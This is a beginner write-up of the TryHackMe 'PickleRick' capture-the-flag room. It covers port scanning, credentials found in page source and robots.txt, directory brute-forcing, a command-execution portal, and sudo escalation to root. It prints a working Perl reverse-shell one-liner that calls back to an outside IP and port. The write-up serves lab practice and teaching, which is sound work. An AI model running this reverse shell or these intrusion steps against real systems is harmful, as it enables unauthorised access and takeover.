CTF-Writeups/TryHackMe/PickleRickCTF.md

# TryHackMe-PickleRick CTF
Abdullah Rizwan ,21 August , 09:35 PM

PickleRick is a free beginner level webapplication kinda CTF.

## NMAP
Like always we are going to fire up our nmap scan on the box to look for open ports

```
nmap -T4 -A -p- 10.10.208.39
```
Here
-T4 tells the speed of scanning 
-A  tells to look for all 
-p- tells to look for ports

and in the end is the box ip (machine ip)

<a href="https://imgur.com/SDGCB0V"><img src="https://i.imgur.com/SDGCB0V.png" title="source: imgur.com" /></a>

Here we can see that there are 2 open ports

SSH (22)
HTTP (80)

So first we will try to exploit HTTP

<a href="https://imgur.com/QUpMxwe"><img src="https://i.imgur.com/QUpMxwe.png" title="source: imgur.com" /></a>

This is the home page that is loaded upon entering the ip address.



<a href="https://imgur.com/GmtVzO3"><img src="https://i.imgur.com/GmtVzO3.png" title="source: imgur.com" /></a>

If we try to look at the source we can see Wubbalubbadubdubthat it's telling us that there's a user named *"R1ckRul3s*" so we are going to use it later when we try to ssh are way into the box.

## Port 80

<a href="https://imgur.com/GmtVzO3"><img src="https://i.imgur.com/GmtVzO3.png" title="source: imgur.com" /></a>

I tried to see if "robots.txt" was accessable and what I found was a text "Wubbalubbadubdub" , i don't know what it means by lets see what elese we can find.

<a href="https://imgur.com/2oUzEDd"><img src="https://i.imgur.com/2oUzEDd.png" title="source: imgur.com" /></a>

### Dirbuster

On bruteforcing directory we find out that there is a login page on the website 



<a href="https://imgur.com/POimBHs"><img src="https://i.imgur.com/POimBHs.png" title="source: imgur.com" /></a>



<a href="https://imgur.com/Xpwynbf"><img src="https://i.imgur.com/Xpwynbf.png" title="source: imgur.com" /></a>

On submitting the username and the text we found on robots.txt we are able to login to the potral

<a href="https://imgur.com/56hyQT8"><img src="https://i.imgur.com/56hyQT8.png" title="source: imgur.com" /></a>

From here we can execute commands like "pwd" or "whoami" which will give result of these commands so we can use this as a shell.

<a href="https://imgur.com/pl7RhmL"><img src="https://i.imgur.com/pl7RhmL.png" title="source: imgur.com" /></a>

On the current directory on giving "ls" command we can see what is that current directory also on looking at the source of the page we can find a base64 text but it doesn't really decode into something.

<a href="https://imgur.com/XqGmf1o"><img src="https://i.imgur.com/XqGmf1o.png" title="source: imgur.com" /></a>

But we still can't access the files on the webpage.

I headed over to pentest monkey

<a href="https://imgur.com/2akwyJK"><img src="https://i.imgur.com/2akwyJK.png" title="source: imgur.com" /></a>

Tried the nc(netcat),php,bash,python2 reverse shell but they didn't work so then i tired the perl reverse shell however we can use python3 instead of python2 to execute python reverse shell.
```
perl -e 'use Socket;$i="10.8.94.60";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

<a href="https://imgur.com/mlpDKJg"><img src="https://i.imgur.com/mlpDKJg.png" title="source: imgur.com" /></a>

It gave me a reverse shell on my terminal.

### First Ingredient

So now for the first ingredient I had no problem in viewing "Sup3rS3cretPickl3Ingred.txt".

### Second Ingredient

For second ingredient I moved around the directories and found something named "second ingredients".

<a href="https://imgur.com/DjlG05n"><img src="https://i.imgur.com/DjlG05n.png" title="source: imgur.com" /></a>

For viewing this file as there is a space in between so in linux you have to use '\ ' backslash + space for entering second string of a file.

### Third Ingredient

For the third ingredient there are two ways:

1) Since we can ran any command by writing "sudo" before it so one way is to look into "ubuntu" folder and there we have a file called ".bash_history"

<a href="https://imgur.com/QMFyVvs"><img src="https://i.imgur.com/QMFyVvs.jpg" title="source: imgur.com" /></a>

2) Another method for getting the third ingredient is by accessing "root" folder.

<a href="https://imgur.com/b7SOPCc"><img src="https://i.imgur.com/b7SOPCc.jpg" title="source: imgur.com" /></a>

3) Or you can run "sudo bash" , that would make you a root user.

You have successfully completed this CTF.